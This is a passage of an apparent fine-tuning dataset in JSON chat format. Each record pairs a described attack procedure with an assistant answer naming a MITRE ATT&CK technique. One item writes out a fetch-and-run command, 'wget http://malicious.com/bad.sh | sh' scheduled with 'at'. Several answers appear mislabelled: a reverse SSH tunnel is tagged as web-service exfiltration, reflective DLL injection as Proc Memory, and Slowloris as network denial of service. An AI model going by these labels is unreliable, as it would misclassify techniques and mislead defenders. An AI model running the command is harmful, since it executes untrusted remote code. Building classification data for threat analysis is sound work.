            },
            {
                "role": "user",
                "content": "Threat group leverages cloud provider's snapshot feature to duplicate a compromised compute instance and store it in their own account."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a Python script to parse the Chrome 'Login Data' SQLite database and harvest saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware packages its payload using UPX compression and adds a custom stub to hide the original executable, making static analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is achieved by adding a malicious kernel extension to the /Library/Extensions directory on macOS."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary renamed a malicious executable to \"svchost.exe\" and placed it in the Windows System32 directory to blend in with legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs reflective DLL injection, directly inserting a library into a process's memory without using the file system."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Resource forking is employed to conceal a PowerShell payload inside the resource fork of a harmless image file on macOS."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Google Cloud IAM \"projects.serviceAccounts.list\" method to discover all service accounts in a GCP project."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures the exfiltration tool to limit each HTTP POST to 250 KB, ensuring the total volume remains inconspicuous."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks the authentication token passed in HTTP headers of a web application to make API calls."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed a DNS brute‑forcing tool to discover hidden subdomains of the victim’s domain."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote code execution exploit on the mail server allows the attacker to run a script that copies all .ost files to a staging area for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool employs service execution by creating a Windows service that runs a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a reverse SSH tunnel to pipe stolen data out of the air‑gapped network."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a kernel driver to set the safe mode flag in the system firmware, forcing a safe mode boot at restart."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs every hour to collect browser history and send it to the command and control server."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised IoT devices are repurposed to join a botnet that mines cryptocurrency, draining power and bandwidth."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the Service Control Manager to enumerate all installed services on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the system's boot firmware to include hidden instructions that execute before OS start-up, providing stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a batch file that creates a local account and configures it for auto-login."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor searched online technical databases for CVE entries matching the target's software versions."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducted a DNS server takeover by exploiting default admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a services registry ACL weakness, the adversary writes a new service binary to the registry, causing the service to execute their payload at system level."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executed a WMI query that filtered processes based on command line arguments to identify the security tools."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email masquerading as a vendor invoice requests the recipient to reply with banking details and internal contact information."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the kernel module loading mechanism to insert a hidden backdoor that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker converts stolen credentials into a URL-encoded format before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder examines commit histories on GitHub for accidental inclusion of authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor imports the kernel32.dll functions and executes them through direct API invocation to bypass security tools."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell script to enumerate nearby Wi‑Fi SSIDs and signal strengths on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker queries the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key to discover persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script was saved with a .jpg extension and embedded a valid JPEG header to bypass security filters."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a custom exploit for a newly disclosed vulnerability and deploy it to achieve initial access to the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate cloud infrastructure APIs to change the networking settings of virtual machines, exposing them to external control."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs a command that fills the disk with large dummy files until no space remains, causing data loss."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor issues 'echo \"wget http://malicious.com/bad.sh | sh\" | at now + 5 minutes' to execute later."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a legitimate package manager to download and install a malicious utility onto the victim machine, effectively uploading a tool for later use."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects code into a running process and leverages shared memory segments to exchange encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes the Windows Credential Editor (WCE) to pull clear‑text credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker gains access to a router via SSH and runs CLI commands to create a new privileged user."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor changes the LaunchAgents plist at /Library/LaunchAgents/com.malicious.agent.plist to execute a malicious script on startup."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Windows command 'sc query' to list all installed services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a remote management tool like Microsoft Remote Assistance to run code on compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Invoke-Command cmdlet, the threat actor runs remote commands via Windows Remote Management to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators utilized a previously harvested Okta token to authenticate to the target's cloud dashboard."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leaks confidential spreadsheets by appending them to the JSON payloads of its existing Slack webhook used for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Linux \"reboot\" command via a compromised SSH session to cause the server to reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a credential‑dumping tool to harvest credentials stored in the Linux GNOME keyring."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to bypass detection, the adversary employed a packer that encrypts the binary and resolves imports at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromised an internal PKI server, downloading certificate signing requests and associated private keys for future use."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an HTTP proxy to obfuscate the true destination of C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables the host-based firewall by deleting its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a browser exploit to execute code that gathers browsing history, bookmarks, and saved passwords."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed a small stub in a legitimate executable; this stub connects to a C2 to download the full backdoor."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a Slowloris technique, opening many incomplete HTTP connections to exhaust the web server's connection pool."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign involves sending spearphishing messages that include a link to a rogue site that looks like a legitimate service, collecting users' passwords."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign yields valid credentials for a Salesforce user, which the attacker then uses to access sensitive CRM data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider with access to the organization's code signing infrastructure signs a backdoor tool, allowing it to run under the guise of a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator connects via VNC to a compromised Linux server to issue shell commands."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initial C2 is achieved via a hidden email-based command channel, then the actor switches to a stealthy HTTPS channel to exfiltrate sensitive documents."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script read encrypted credentials from Azure Key Vault using a compromised Azure AD application."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script disables the System Protection feature via PowerShell, halting automatic restore creation."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deployed a PowerShell script that accessed GCP's Compute Engine API and invoked the instances.delete method on multiple instances, erasing them from the project."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker strips the Zone.Identifier alternate data stream (Mark of the Web) from a downloaded executable so it can run without triggering Windows SmartScreen warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed the backup of switch configurations to locate SNMP community strings."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a JavaScript decoder to transform a minified, obfuscated JS payload into readable code at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary cloaks a phishing website by using a domain that closely mirrors a popular banking site."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automatically rotated and captured new cloud API keys from a CI/CD pipeline without detection, compromising accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggers an automated script that terminates a tainted cloud instance and launches a fresh replacement from a known good AMI."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program calls the Windows API GetAdaptersInfo to gather details about network interfaces and internet connectivity."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool performed data staging and then transferred the packaged files to a Google Cloud Storage bucket over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase remote access trojans from a cybercrime forum to expand their capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers manipulate the device registration process to bind a fabricated device ID to a privileged account, granting long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a WMI event filter for CPU usage spikes, the attacker triggers a malicious DLL to load when the threshold is crossed."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a compromised IoT device to act as a bridge, tunneling traffic between the enterprise LAN and an external command server."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query city property records and building permit databases to pinpoint the exact floor and suite where the victim's R&D lab resides."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripted calls to the Win32_GroupPolicyObject COM interface to list all policies applied to user accounts."
            },
            {
